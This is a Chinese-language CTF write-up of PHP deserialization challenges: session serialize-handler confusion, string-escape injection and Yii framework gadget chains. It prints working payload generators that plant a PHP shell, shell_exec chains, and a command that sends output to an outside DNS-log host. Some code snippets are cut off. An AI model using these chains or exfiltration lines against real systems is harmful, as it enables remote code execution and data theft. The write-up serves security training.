PHP的session反序列化
带你走进PHP session反序列化漏洞 - 先知社区 原理解释不错
CTFshow-web入门-反序列化_哔哩哔哩_bilibili
可参考CTFshow 反序列化 web263_Kradress的博客-CSDN博客
在index.php中
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
$_SESSION['limit']
的键值写错了,那就可以通过COOKIE来控制$_SESSION['limit']
的值,从而进行当前页面的反序列化
在check.php中,引用了inc.php
require_once 'inc/inc.php';
在inc.php中出现关键函数
可以写入文件 构造payload
ini_set('session.serialize_handler', 'php');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
开始构造payload:
从关键的user类开始下手
username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','');
$_SESSION['user']= $user;
默认是php控制器 ,有|
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}
用php_serialize控制器
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"";s:6:"status";N;}}
index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化了的,check.php和inc/inc.php的session.serialize_handler为php,而且用了session_start(),可以读取session文件进行反序列化操作
正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入| 的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化
在本地构造一下,可以通过base64编码后在index.php页面传入cookie中的limit,让序列化的结果以php_serialize的方式存储进去
username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','');
$_SESSION['user']= $user;
echo urlencode(base64_encode('|'.serialize($user)));
index.php 存入cookie如下 然后访问check.php 成功写入shell
然后访问log-1.php,发现成功
直接rce
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
可以看出来了是字符逃逸,需要把$token的值变成admin,与262大同小异,直接搓个payload
结果显示loveU对应4个字符,所以成功逃逸一个字符
要想反序列化成功,必学字符数量与真实字符数相等,平白无故插入27个字符就需要27个fuck来构造出27个loveU
payload
http://e5693f75-bba7-427f-9ea3-be3d19577062.challenge.ctf.show/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后访问message.php根据要求提交一个cookie
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
需要满足$this->token===$this->password
token是随机数的md5值,password我们可控,
要想使其相等,可以让$this->password 指向 $this->token 的地址,这样就满足相等
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了
yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点
payload: ?r=backdoor/shell&code=poc
poc:
checkAccess = 'phpinfo'; //控制函数
$this->id = '1'; //控制括号里的内容
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
控制函数和内容可以写shell
没办法输出内容,可以尝试dns带外找到index.php所在目录
$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.9id0uy.dnslog.cn';
然后将命令写入php文件里
$this->checkAccess = 'shell_exec';
$this->id = "echo '' > /var/www/html/basic/web/1.php";
访问1.php进行rce
yii反序列化第二个链子
checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}